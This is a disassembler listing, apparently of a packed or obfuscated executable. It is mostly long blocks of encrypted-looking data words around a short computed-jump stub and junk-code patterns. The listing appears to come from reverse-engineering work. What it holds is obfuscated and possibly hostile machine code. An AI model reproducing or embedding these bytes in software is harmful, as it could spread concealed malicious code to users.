		dd 0C483242Ch, 0BD555604h, 0DF41DFFh, 4246C29h,	8458F5Dh
		dd 0FF084581h, 0FF0DF41Dh, 835D2434h, 348B04C4h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FCD9DEE9h, 0AFAD72FFh
		db 0F4h, 49h, 0EAh
; ---------------------------------------------------------------------------


loc_576603:				; CODE XREF: sub_5757E6:loc_575988j
		mov	eax, 60EA4D8h
		add	eax, ebp
		jmp	eax
sub_5757E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 7048248Fh, 7CA3E563h, 30D80F8Dh, 0C5929E9h, 4766337h
		dd 7F8D502Eh, 13A83635h, 3C8F4CF4h, 0D954ADFh, 45061660h
		dd 3A6C174Eh, 5B3AF794h, 4FB50673h, 2AEAB80Ah, 7E94687Fh
		dd 3C754B1Dh, 13AD1262h, 71542837h, 9567F01h, 72EB9B07h
		dd 68C345ABh, 50003B61h, 1034B408h, 196C3F6Eh, 4D443BF8h
		dd 578F1D0h, 4E5313BAh,	15FF7D5Ah, 279B1611h, 148E9h, 5000h
		dd 5400h, 5800h, 5C00h,	6000h, 6400h, 6800h, 6C00h, 0B000h
		dd 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h
		dd 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h
		dd 0EC00h, 38h dup(0)
		dd 5766E500h, 9F50EB00h, 0E1858D00h, 0E8060EA5h, 0Fh, 0E86D0468h
		dd 0AAE95620h, 0FF9CDF80h, 50D8818Ch, 5F5EFE8Bh, 0A7218589h
		dd 85C6060Eh, 60B2845h,	3D9D8B54h, 68060B32h, 0A62F36B2h
		dd 5E9h, 0FDE7C200h, 481D831h, 33317724h, 8E948h, 0D2AA0000h
		dd 0A095BFA3h, 0B5FF7D8Fh, 60B1355h, 286DBD8Bh,	858D060Bh
		dd 60E7D18h, 26E18D8Bh,	0D0FF060Bh, 1061BD31h, 8589060Bh
		dd 60EA725h, 4DE9F5h, 9D090000h, 60B1F9Dh, 21B58B56h, 89060EA7h
		dd 21858306h, 4060EA7h,	8D60C35Eh, 0EA5E1B5h, 560FEB06h
		dd 36FF006Ah, 0A72595FFh, 835E060Eh, 3E8304C6h,	61EC7500h
		dd 0A236BAC3h, 8531247Ch, 60B1AB1h, 0DB816060h,	7D71A0CAh
		dd 8D6161FCh, 0EA7C285h, 0BF666006h, 0BD8B2086h, 60B0F49h
		dd 1D858961h, 0EB060B10h, 0BF000039h, 0BF02CC00h, 0BF02E400h
		dd 0
		dd 5B70D200h, 427C1447h, 5374C076h, 5870A322h, 5237074Fh
		dd 7819594Eh, 7A55DE76h, 796D0322h, 6277C352h, 577C214Ah
		dd 5C79A946h, 35F18222h, 16196A22h, 0BF47F67Ch,	0B71DBE56h
		dd 211D6966h, 7019A622h, 0AB269074h, 8B901451h,	3012D59Bh
		dd 0F4980CD7h, 0F692F269h, 346417A9h, 833A4B29h, 301286B7h
		dd 33A4EEA1h, 4319AF29h, 0E7A4572Bh, 361F610Bh,	65492C56h
		dd 8FA15AA9h, 0BF194D26h, 3D3393A7h, 2C84DE24h,	0C91FA491h
		dd 0B5418FF1h, 3D30BB9Fh, 216D3524h, 8FA1C972h,	0BF194D26h
		dd 3D3393A7h, 3F84DE24h, 0C91FA492h, 5C418FF1h,	35F13B22h
		dd 16193522h, 0BF40597Bh, 0B71D696Eh, 2A1D8266h, 77195322h
		dd 0F3906A73h, 1EDDBEFFh, 0BF5A1845h, 3D3B94BFh, 69572324h
		dd 36732DAFh, 361A4E74h, 68395322h, 4290F7E1h, 7298D006h
		dd 360E6E06h, 605F3522h, 0ED8F97E1h, 361CA416h,	0E8C3A622h
		dd 0BDE68FA4h, 6019C3E2h, 3619D7CAh, 0F5474A22h, 126DBC7Ch
		dd 125D1B26h, 36195026h, 0F54FE022h, 6E0196A0h,	6B2C486Eh
		dd 0C7999C2Bh, 739CAC90h, 601F3E0Ah, 37C027A9h,	3714B29h
		dd 50B88613h, 298ABA9h,	0BE90CE06h, 3B945F1Fh, 0C91F6100h
		dd 3D0A6097h, 35919524h, 50194D22h, 25F071A9h, 4C195322h
		dd 4DF5C523h, 285D5EC3h, 2854B4A1h, 4F211508h, 0B3946B23h
		dd 3017303Ah, 7C959DAh,	3D170E97h, 831DC324h, 872EBC6Bh
		dd 49A79441h, 0B745CDD2h, 68D0BE26h, 36734CBEh,	361A4E70h
		dd 6C395322h, 6290F3E1h, 7298D006h, 36016E06h, 645B3522h
		dd 9B59A3E1h, 0E9985DA7h, 329F3826h, 36195DCAh,	51DC1222h
		dd 6BADB8ABh, 555CBB50h, 0BDBB9FE1h, 3D160BAFh,	7E711724h
		dd 50551BF8h, 29884A9h,	8BC10D06h, 6519BE6Eh, 361969CAh
		dd 0F5421522h, 12451379h, 125DCC26h, 3619BC26h,	0F54A1022h
		dd 24FE48ECh, 5C7A410Ah, 17AC6322h, 0C91F3E3Bh,	0D79413F2h
		dd 0BF1F462Dh, 38B1B7A7h, 0CE92AA24h, 361B6527h, 239C5D22h
		dd 0B51F648Ah, 0B3902DE2h, 3017323Bh, 0DAA08D11h, 0C519A620h
		dd 61193988h, 3619AACAh, 0F546F422h, 1265E37Dh,	125DB426h
		dd 36198326h, 0F54E0A22h, 0C4776443h, 8B92ADD1h, 301281AFh
		dd 60F93DA2h, 1524E7ABh, 0F0473329h, 3D31DFA7h,	0EC980E24h
		dd 759CCB53h, 11B4C6A9h, 0DA71AF29h, 87FA1187h,	122DEB24h
		dd 49BBFB90h, 0DE4B9A48h, 36194D21h, 6CDAFC02h,	323D07ABh
		dd 323DEDA3h, 3619D43Eh, 8ADA3860h, 0EDE98FE4h,	0C179A4BCh
		dd 36195CCBh, 0D374322h, 4A869CC1h, 0F613649h, 95D1560Ah
		dd 0C9E52E0Fh, 3D0A6097h, 6119F024h, 36194ECAh,	0F5468622h
		dd 1265DA7Dh, 125D2826h, 3619C326h, 0F54E2D22h,	0D5747480h
		dd 902D2A9Dh, 2E9CC065h, 391FA85Fh, 0E6E6A19Dh,	0BFCF1E2Dh
		dd 3D0051A7h, 63190024h, 361936CAh, 0F544BA22h,	1275C47Fh
		dd 125D2726h, 36194B26h, 0F54CEC22h, 165E251Ah,	3613835Dh
		dd 0B0FE3522h, 42C40D79h, 0C6C55CB6h, 157C23AFh, 33F15529h
		dd 3B19A922h, 103E0F55h, 1434F7ABh, 0BF473329h,	3D36BBA7h
		dd 61192724h, 3619A5CAh, 0F5467322h, 1265207Dh,	125D5526h
		dd 36197E26h, 0F54E7222h, 3F8CB337h, 0F01F462Ah, 3D31E3A7h
		dd 0B77F0024h, 5E7A82C0h, 0CE98BDFEh, 3615E52Dh, 64493522h
		dd 716C375h, 0ED20F244h, 3298FE78h, 19C7AF06h, 2490A626h
		dd 3919D422h, 361966A1h, 361EDC22h, 32FC9A22h, 0FF0707AAh
		dd 63AC591Fh, 5C1F5831h, 35F1F822h, 1619D422h, 0BF40A97Bh
		dd 0B71D116Eh, 2D1DBE66h, 77194D22h, 0C4F86573h, 0D37B61Eh
		dd 0B39466C1h, 3017A93Ah, 0C9E9DD2Dh, 65195FF2h, 361999CAh
		dd 0F5426D22h, 12452F79h, 125DD226h, 3619B026h,	0F54A9722h
		dd 0EBAD8675h, 22F0BA61h, 81199A22h, 3B44DCF7h,	4B6DDA0h
		dd 81EEB1D6h, 5A76546Fh, 39C85D00h, 36196CA5h, 0E394BC22h
		dd 0BF1F9129h, 3D2B90A7h, 57942D24h, 0F01F5823h, 3D31ECA7h
		dd 0B2168724h, 36196A21h, 5EC9822Dh, 0CDD8B43Dh, 0B7CFC644h
		dd 0DCB58216h, 884970FBh, 3263A2FAh, 63AC2B78h,	0BF1F6131h
		dd 3D012897h, 2E9C1724h, 5C1F435Fh, 35F1F422h, 16195322h
		dd 0BF436A78h, 0B71DF076h, 221D4E66h, 74193522h, 0C9925970h
		dd 671927F2h, 3619A5CAh, 0F5407322h, 1255207Bh,	125D5526h
		dd 36197726h, 0F5487422h, 0F5CDB751h, 377A2E87h, 0B616AB99h
		dd 36195324h, 21883C13h, 0B390D229h, 3012621Fh,	0F0E1822Dh
		dd 3D31DFA7h, 36730A24h, 361A4E72h, 6E395322h, 7290F1E1h
		dd 7298D006h, 36046E06h, 66593522h, 0D3622AE1h,	0C95AF91h
		dd 61E27542h, 6C43AA74h, 36A81C2Bh, 0F371D229h,	66BEDDB2h
		dd 7F538B70h, 7169429h,	0BD7F1F72h, 5028A9DCh, 6CF1EF98h
		dd 0B741F37Ah, 7B75F016h, 0AB907A4Bh, 30121F4Bh, 254C2FDDh
		dd 36734B29h, 361A4E75h, 69395322h, 4A90F6E1h, 7298D006h
		dd 360F6E06h, 615E3522h, 8F251CE1h, 4B01C8AFh, 3673A02Ch
		dd 361ABB70h, 6C39A922h, 62908EE1h, 72986E06h, 36033106h
		dd 645B9A22h, 0B5653AE1h, 0E3490456h, 0B31083DDh, 3012AB83h
		dd 633A6E44h, 1410EFABh, 36733329h, 361A7273h, 6F394D22h
		dd 7A90FFE1h, 72985706h, 3602AD06h, 6758D422h, 4DB690E1h
		dd 299D5D78h, 3F9C1368h, 0F01F4622h, 3D31E3A7h,	0C1981424h
		dd 0B5566A6h, 26712CA9h, 8946154Ch, 6354E522h, 5C3D9EA3h
		dd 5C3B1180h, 35F1F622h, 16195322h, 0BF416A7Ah,	0B71DF066h
		dd 2D1D4E66h, 76193522h, 0A33C5972h, 0CF1E22FCh, 8B90E6F5h
		dd 3012457Bh, 254C1CDDh, 3673D229h, 361A8271h, 6D393522h
		dd 6A90C1E1h, 72984906h, 360FA206h, 655A5322h, 1ED905E1h
		dd 123041A9h, 0F8986C29h, 2E8F6059h, 4B011FAFh,	36734B2Ch
		dd 361A4E75h, 69395322h, 4A90F6E1h, 7298D006h, 36046E06h
		dd 615E3522h, 1C99F5E1h, 755291B0h, 0CE61517Fh,	0A33083DDh
		dd 30128917h, 366851ABh, 897F6C29h, 0E099034Ah,	739C5CE4h
		dd 711F460Ah, 0B19AAF98h, 0F6483B05h, 0B81667ACh, 3619D421h
		dd 0B7D1E144h, 0CA151116h, 3673FE61h, 361AA570h, 6C39A622h
		dd 629009E1h, 7298AD06h, 3603D006h, 645B6A22h, 0DF96F9E1h
		dd 4F9FEF03h, 0DB8CC674h, 6F1FAD22h, 254CE6DDh,	0E498AF29h
		dd 47D0A753h, 4B01EFAFh, 3673332Ch, 361A7277h, 6B394D22h
		dd 5A90FBE1h, 72985706h, 3602AD06h, 635CD422h, 990F2DE1h
		dd 89E1A645h, 824024F2h, 0E6E61574h, 0DE4BA648h, 36195321h
		dd 6CDAF302h, 323D80ABh, 323D2EA3h, 3619353Ah, 86DAC860h
		dd 0F13E6F08h, 256823ABh, 36735529h, 361A4172h,	6E39D422h
		dd 729032E1h, 72983106h, 360C9E06h, 66594D22h, 0DEE90CE1h
		dd 3619532Fh, 0E8875277h, 0B57C3680h, 5889D70Dh, 0C49853F2h
		dd 3943276Ah, 36194EA3h, 0E4AEA922h, 367383DDh,	361A4172h
		dd 6E39D422h, 729032E1h, 72983106h, 360D9E06h, 66594D22h
		dd 8B186EE1h, 3012472Fh, 30F82CABh, 0B216D229h,	36196A21h
		dd 50D3BE44h, 0DF4A42AEh, 36194D28h, 30D1443h, 0A1210D30h
		dd 1243F1B2h, 6619BE26h, 361969CAh, 0F5411522h,	125D137Ah
		dd 125DCC26h, 3619B026h, 0F5491322h, 3DAF11C7h,	3D1735B7h
		dd 39D96024h, 361BA6A6h, 6619F022h, 36194ECAh, 0F5418622h
		dd 125DDA7Ah, 125D2826h, 3619CF26h, 0F5492A22h,	0A9D5517Eh
		dd 867D0AB1h, 0F0E1F22Dh
		dd 3D31E3A7h, 36731C24h, 361A4170h, 6C39D422h, 629030E1h
		dd 72983106h, 360E9E06h, 645B4D22h, 0AFEB8AE1h,	378CDA0Dh
		dd 5E1FA211h, 0B0255FB9h, 0B7D1E144h, 0D7301126h, 83A7A361h
		dd 0C923B1B4h, 3D0AF397h, 63193924h, 3619AACAh,	0F544F422h
		dd 1275E37Fh, 125DB426h, 36198726h, 0F54C0822h,	0C2E587DCh
		dd 8555D1E6h, 47AB0E99h, 4B0151AFh, 36736C2Ch, 361ADD74h
		dd 68399A22h, 429013E1h, 7298A206h, 360F5706h, 605FA922h
		dd 7F0D02E1h, 370CE711h, 0E6E63329h, 12D919DEh,	0BFEAC644h
		dd 3D1A77A7h, 0DF983524h, 0B392CEEEh, 3012D2C3h, 0DE496A48h
		dd 36193521h, 6EDAC202h, 323D09ABh, 323DE2A3h, 3619533Ah
		dd 6DDAF962h, 1ACA9723h, 2568F7A9h, 0BB903329h,	30128A67h
		dd 63192761h, 3619A5CAh, 0F5447322h, 1275207Fh,	125D5526h
		dd 36197E26h, 0F54C7022h, 0BDC911A9h, 64192739h, 3619A5CAh
		dd 0F5437322h, 124D2078h, 125D5526h, 36197326h,	0F54B7722h
		dd 16AEEE14h, 2D92A96Dh, 9FAC2F72h, 681F583Ah, 0B816B2A9h
		dd 3619D427h, 0F8B91E98h, 50C10645h, 5028F59Dh,	8A2D9CA3h
		dd 30F43BABh, 0BC165529h, 3619A924h, 30AC59ABh,	0A3906C29h
		dd 30123983h, 1E5C1FE4h, 0BD5E4B29h, 3D18FF97h,	34543B24h
		dd 8C7F7747h, 298FF03h,	8DC68E06h, 4B94BE4Bh, 0C91F9131h
		dd 3D0A1897h, 0BBEA2D24h, 38644BA7h, 6119C324h,	3619D7CAh
		dd 0F5464A22h, 1265BC7Dh, 125D1B26h, 36195726h,	0F54EE122h
		dd 10117A2Ch, 0BD03701Eh, 3D029997h, 0BDC99524h, 3D1924AFh
		dd 3F9C1324h, 501F4600h, 502851A3h, 60193962h, 3619AACAh
		dd 0F547F422h, 126DE37Ch, 125DB426h, 36198726h,	0F54F0B22h
		dd 0EC3AD38Eh, 5E47119Dh, 0AB906B4Ah, 3012E723h, 36736AA9h
		dd 361ADD71h, 6D399A22h, 6A9016E1h, 7298A206h, 36005706h
		dd 655AA922h, 69AE9DE1h, 39D4325Dh, 0BF16FC9Dh,	36199A24h
		dd 5D8C0A9h, 0CF79A029h, 57CAEC2Dh, 3673A9A9h, 361A3C74h
		dd 68396A22h, 42906BE1h, 72989E06h, 36044906h, 605FA622h
		dd 5BB049E1h, 90F50099h, 3973EEFCh, 36196CAFh, 93A4BE22h
		dd 0BF1F912Eh, 3D2B6CA7h, 0FBAC2D24h, 0DF1F5824h, 3619A809h
		dd 9E2E51AFh, 36736C2Ch, 361ADD70h, 6C399A22h, 629017E1h
		dd 7298A206h, 36015706h, 645BA922h, 81FEF8E1h, 0B77FC29Fh
		dd 66735CE3h, 36199DCAh, 0FAEC5922h, 6E9A26FCh,	68400072h
		dd 121D2078h, 0DE4AD448h, 36196A21h, 6DDA6E02h,	323DC6ABh
		dd 323D09A3h, 3619A63Fh, 9ADA0061h, 0D88A2ABh, 0CF05CE6Eh
		dd 438C956Ch, 1D1F3E0Ah, 3D116FB7h, 0B84C024h, 561FA88Ah
		dd 0DEDBEC2Dh, 3619A930h, 6885E43Ah, 16B94A20h,	8EF120BCh
		dd 0A98EC781h, 0B390B4D6h, 3012B3D7h, 3949327Bh, 3619A9A5h
		dd 12055D22h, 3DB8E7A9h, 50493329h, 329069A9h, 60192706h
		dd 3619A5CAh, 0F5477322h, 126D207Ch, 125D5526h,	36197326h
		dd 0F54F7322h, 0D8669F5Fh, 0A3900659h, 3012BCE7h, 361CDEABh
		dd 0A3E6AF29h, 3012C7F3h, 0DE4C6A48h, 36193521h, 6BDAC702h
		dd 323D21ABh, 323DE2A3h, 3619533Ah, 89DAFC67h, 81CA88CEh
		dd 360CE02Dh, 26F03522h, 2199A22h, 8B133481h, 6C25DFBFh
		dd 98669621h, 0BF05AEFEh, 3D1A05A7h, 0D3A4E124h, 0F01F3E0Ah
		dd 3D31DFA7h, 0EF981E24h, 73C17E0Ch, 9AE4454Ah,	121D2810h
		dd 41C3534Bh, 7CC38BA3h, 83E671D2h, 30128977h, 361942CBh
		dd 2EC03C22h, 0BF29981Eh, 0B0139F5h, 0B64DA263h, 4B01EFAFh
		dd 25F0332Ch, 83199A22h, 0C73DCA04h, 9D9AA7B9h,	655394BFh
		dd 0E97D24D6h, 0E6E604B2h, 0DE4C6A48h, 36193521h, 6BDAC702h
		dd 323D21ABh, 323DE2A3h, 36195339h, 0EDDAFC67h,	7FAFF309h
		dd 0BFF13296h, 3D1620A7h, 6619F024h, 36194ECAh,	0F5418622h
		dd 125DDA7Ah, 125D2826h, 3619C926h, 0F5492A22h,	27640CB5h
		dd 0A6A554A9h, 0A392C955h, 3012B447h, 1E5CD6E4h, 5C5EAF29h
		dd 35F18522h, 16196A22h, 0BF40F67Bh, 0B71DBE6Eh, 2A1D6966h
		dd 7719A622h, 77FB9073h, 3088D58Fh, 35D9B20Dh, 3D103BB7h
		dd 25E5D24h, 47A037CBh,	0B74F676Eh, 17CE8216h, 0C5925FB9h
		dd 254C1CDDh, 3673D229h, 361A8273h, 6F393522h, 7A90C3E1h
		dd 72984906h, 360EA206h, 67585322h, 5F661FE1h, 2E9C5945h
		dd 351F645Fh, 3D091CAFh, 0BDC96524h, 3D13849Fh,	779C2F24h
		dd 5C1F5824h, 35F1F822h, 1619D422h, 0BF40A97Bh,	0B71D116Eh
		dd 231DBE66h, 77194D22h, 7A936573h, 1E5CD6E4h, 5C4AAF29h
		dd 35F18422h, 16196A22h, 0BF41F67Ah, 0B71DBE66h, 2A1D6966h
		dd 7619A622h, 29FE9072h, 0CEA863D5h, 5EFDE79Fh,	0D06ECA12h
		dd 963D01A3h, 5C66D4DDh, 35F11A22h, 1619A622h, 0BF46907Dh
		dd 0B71D8D5Eh, 2F1DF066h, 71196A22h, 78D7F675h,	0E492FFB8h
		dd 338C6442h, 391FAD31h, 361955AAh, 3698A622h, 5719D422h
		dd 254CDFDDh, 36733329h, 361A7270h, 6C394D22h, 6290FCE1h
		dd 72985706h, 360FAD06h, 645BD422h, 995059E1h, 36193BCBh
		dd 28289122h, 98838C44h, 6C7E66B3h, 0BF125E1Eh,	3D0D18AFh
		dd 4BACFF24h, 0BB1F6138h, 38642DA7h, 6519F024h,	36194ECAh
		dd 0F5428622h, 1245DA79h, 125D2826h, 3619C026h,	0F54A2922h
		dd 7AC1C69h, 0C91F9103h, 0CDA642F2h, 3CDC23ABh,	36735529h
		dd 361A4177h, 6B39D422h, 5A9037E1h, 72983106h, 36009E06h
		dd 635C4D22h, 0CF3243E1h, 0BFEC0A51h, 3D31CCA7h, 739C1224h
		dd 611F610Ah, 0DE4E3548h, 36199A21h, 69DA1202h,	323DDAABh
		dd 323D17A3h, 3619A93Bh, 2DDA8365h, 0A11A6649h,	8B906297h
		dd 301296FFh, 0E7981F7Dh, 564446E1h, 8C733B7Ch,	32988DB9h
		dd 5E8E4806h, 4FA44349h, 0C91F3E2Ch, 3D0ACF97h,	63192724h
		dd 3619A5CAh, 0F5447322h, 1275207Fh, 125D5526h,	36197D26h
		dd 0F54C7022h, 0D4DCD67Eh, 361944CBh, 229D5922h, 0E6CAF475h
		dd 8B90552Dh, 3012D1C3h, 0BBD7D52Dh, 38642DA7h,	36107324h
		dd 0E5904D22h, 7474C0D0h, 0C983DB16h, 5FDF28F2h, 0BF762ACBh
		dd 3D3D7BA7h, 3615DC24h, 0B2C19A22h, 8472D2Dh, 64826A02h
		dd 0B3DF0A7Eh, 30128167h, 6619BE61h, 361969CAh,	0F5411522h
		dd 125D137Ah, 125DCC26h, 3619B026h, 0F5491322h,	0BDB44E10h
		dd 3D1FA59Fh, 361D8224h, 46313522h, 0F9AF26B2h,	125DC672h
		dd 0B816C626h, 36195327h, 77510999h, 0CF92B255h, 0DE19E143h
		dd 3619352Bh, 9CF9E850h, 0B4DE6863h, 3DA7C0DFh,	7290098Ah
		dd 39F1AD06h, 0E319D422h, 0E2F916C4h, 2076D236h, 62FFA7E5h
		dd 8BA30792h, 692A9499h, 6619397Ah, 3619AACAh, 0F541F422h
		dd 125DE37Ah, 125DB426h, 36198226h, 0F5490D22h,	0C9CB4806h
		dd 349F5C00h, 8019A922h, 36093DF9h, 71BE6A22h, 2B7C2964h
		dd 6C0F12A2h, 0B89EADE7h, 83E6DE4Ah, 30124077h,	0DE49A948h
		dd 3619D421h, 6EDA3202h, 323D71ABh, 323DDEA3h, 36194D36h
		dd 0A6DAF662h, 655785A2h, 6FC8162Dh, 4B0151AFh,	0DF4E6C2Ch
		dd 36193530h, 1BA7CE56h, 20921493h, 0C50813A9h,	0F597A3E5h
		dd 0C9407705h, 83A45FF2h, 0BF1F610Ah, 3D3E90A7h, 0E592FC24h
		dd 9E34C8AFh, 3673A02Ch, 361ABB72h, 6E39A922h, 72908CE1h
		dd 72986E06h, 36003106h, 66599A22h, 33A7B1E1h, 35B5A410h
		dd 3D3E8A97h, 82A6F924h, 0BF482828h, 36734E26h,	361ADD77h
		dd 6B399A22h, 5A9010E1h
		dd 7298A206h, 36025706h, 635CA922h, 0AA67AEE1h,	0EFFCD34Eh
		dd 438CCA33h, 0DE1F910Ah, 36194D30h, 0FC43AB87h, 669E8124h
		dd 755DACA2h, 3C69D146h, 38F008DCh, 0D4193522h,	4CD224E8h
		dd 6FCAB8Eh, 196BFD21h,	0EE920CF0h, 0DE4CA948h,	3619D421h
		dd 6BDA3702h, 323D59ABh, 323DDEA3h, 36194D3Bh, 24DAF367h
		dd 0EB5BDF08h, 0B3945553h, 30177C03h, 0DE486A48h, 36193521h
		dd 6FDAC302h, 323D01ABh, 323DE2A3h, 3619533Ah, 0E0DAF863h
		dd 136C9B8h, 50496693h,	3290E2A9h, 6319F006h, 36194ECAh
		dd 0F5448622h, 1275DA7Fh, 125D2826h, 3619C926h,	0F54C2F22h
		dd 9B395023h, 9E231E47h, 0CE4B6B7Dh, 6449F67Bh,	7161790h
		dd 361F222Dh, 6449D422h, 6E435B2Dh, 2A906D78h, 6619F006h
		dd 36194ECAh, 0F5418622h, 125DDA7Ah, 125D2826h,	3619C126h
		dd 0F5492A22h, 83928A61h, 3012BEABh, 25C8D8DDh,	887FA029h
		dd 0B3908E32h, 3012B1CFh, 3619C6CBh, 322DD422h,	3486C05Bh
		dd 7AE0A0B5h, 4AF59272h, 0F13C0884h, 3D2AD6A7h,	3619A624h
		dd 6119BE22h, 361969CAh, 0F5461522h, 1265137Dh,	125DCC26h
		dd 3619BA26h, 0F54E1422h, 83F3CE72h, 0B75F7678h, 238463F0h
		dd 0BD1F3E0Ch, 3D347397h, 0DB8CB224h, 5C1FAD3Ah, 35F10622h
		dd 1619A922h, 0BF44177Fh, 0B71D4E4Eh, 211D1166h, 73199A22h
		dd 96108E77h, 0E09282D1h, 0CE90189Dh, 579C2031h, 5C1FDF3Bh
		dd 35F13B22h, 16193522h, 0BF40597Bh, 0B71D696Eh, 2F1D8266h
		dd 77195322h, 5BD96A73h, 0B839E40Eh, 361963CAh,	46015822h
		dd 4974BF05h, 0BF4EC964h, 3D371B97h, 50460924h,	0B39261A9h
		dd 3012CDA7h, 8C2DF7AFh, 7590332Ch, 53A41723h, 0BB1F4601h
		dd 38A3A897h, 362AEA24h, 92EAA922h, 36A1E7C9h, 3D196A22h
		dd 0F41A41E2h, 72929A3Ah, 0DE4A4106h, 3619A622h, 21DAD279h
		dd 0BF19A922h, 0BF09F07Eh, 6D0D4E66h, 0A9B9029Ah, 0BDF96522h
		dd 0C91D6966h, 0BB92C6C2h, 301257FBh, 0B7AC8043h, 571FDF2Eh
		dd 361978CAh, 27286122h, 7501FC15h, 0DFD4E5BAh,	4211B155h
		dd 0DE2B6F33h, 3619A92Ah, 0DF9D566Eh, 746FED7Ah, 6F406C75h
		dd 9E3827AFh, 0BB944B2Ch, 30171CB6h, 10B2669Ah,	0D79C9ABAh
		dd 1D1FDF0Bh, 225C79EDh, 2235F182h, 7C16196Ah, 56BF47F6h
		dd 66B71DBEh, 22211D69h, 747019A6h, 0F305E983h,	6AD98BA4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8797C355h, 1FDBCF5Fh, 3FDB531h, 9E9060Bh
		dd 0F2000000h, 0D655C5D1h, 7C78EC9Bh, 12E9h, 6061F500h
		dd 6F18D781h, 0E9815732h, 15F1102Ch, 8BFCC361h,	890F60C0h
		dd 4, 0A788B866h, 0BD8361F5h, 60B05BDh,	83097500h, 0B29D1BDh
		dd 19740006h, 0C08B5350h, 4B9B8h, 99858900h, 8D060B12h
		dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
		dd 4B9B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h
		dd 28A0F58h, 60000000h,	5E961h,	0D8F0000h, 6AF1A3ACh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 58D4C352h, 0C8558F08h, 0FCE1714Ch, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DD82E7C3h, 0C18B4031h, 0BBCFBF66h, 4EBh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BE99AC3h, 1B000000h, 0B5B5C75Eh, 6674571Bh,	6A4A4Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 13EADDC3h, 0E6BF66FFh, 6870F20h, 29000000h, 0B1275BDh
		dd 0A9858D06h, 6A060B28h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 714DC350h, 8821D290h
		dd 0FB5BD8Bh, 5750060Bh, 5FF08B66h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A5CEC355h, 0E9CA2BC0h, 7, 5A99179Eh, 8BAF5BBEh, 7DF681FBh
		dd 6A650A62h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 81C8E0A0h, 0A67F1DCEh, 6A006A0Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3B27C352h, 3C35668Ah, 0CD858DF6h,	89060EBDh
		dd 0B106185h, 358D0106h, 83060B09h, 0B58B05C0h,	60B0329h
		dd 24048950h, 0D3B21FBEh, 6A006A09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F49C356h
		dd 686h, 0D19D8900h, 6A060B32h,	418D8900h, 0FF060B0Fh
		dd 0B2F2195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0F920F1FBh, 73CB3D0Ah, 0A1BD8993h
		dd 8D060B0Dh, 0EA7B09Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 3CBD633Fh, 0D4DB763Eh
		dd 3160FA21h, 0B2DFD85h, 0E9B58B06h, 61060B23h,	41953160h
		dd 61060B0Ch, 0D681D3FFh, 443CE49h, 66D85FFh, 6A060Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 893D10C3h, 6A3C29BAh, 0A5BD336Dh, 8B060B16h,	713E9F8h
		dd 0E80000h, 5D000000h,	0BDD7ED81h, 0BD81060Eh,	60B3385h
		dd 7D0h, 184860Fh, 85890000h, 60B08DDh,	24219D8Bh, 0BD8B060Bh
		dd 60B0E89h, 100E381h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0FD4895C3h, 525030FCh
		dd 0DB0B5FF5h, 0E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E567E1C3h, 1F3DB58Bh
		dd 0BD83060Bh, 60EBBBAh, 5B840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 3C45C356h, 0F32575E6h, 5890F1Bh, 66000000h, 8D2FEF81h
		dd 0ACE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8B8CF7h, 60B01D1h, 17CD9D89h
		dd 85C7060Bh, 60EBBBAh,	1, 0FE9h, 0E6FF7600h, 8CEFE606h
		dd 0C9040411h, 28AE13ABh, 60E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FF3DB33h
		dd 38Fh, 0FB8B6600h, 6840Fh, 95290000h,	60B18CDh, 0BBBA85C7h
		dd 60Eh, 800F0000h, 1Dh, 0FE860h, 65B80000h, 10584CE1h
		dd 0FE05F200h, 0E6D53ACBh, 8D895A7Ch, 60B1505h,	219D8D61h
		dd 6A060B24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F445C356h, 8123E42Fh,	0FFFEFF23h
		dd 905FBEFFh, 8C667E87h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 66DF81F6h, 891D567Ah
		dd 0B0211BDh, 4C3F606h,	50840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 377662C3h
		dd 89FED335h, 8B57E9E5h, 0B7BE5EFEh, 663EC40Ch,	0CEAFCE81h
		dd 18ED95FFh, 8166060Bh, 8B108BF6h, 0B0B11BDh, 0BE525006h
		dd 5C519E1Fh, 2404895Eh, 0DFE9FB8Bh, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
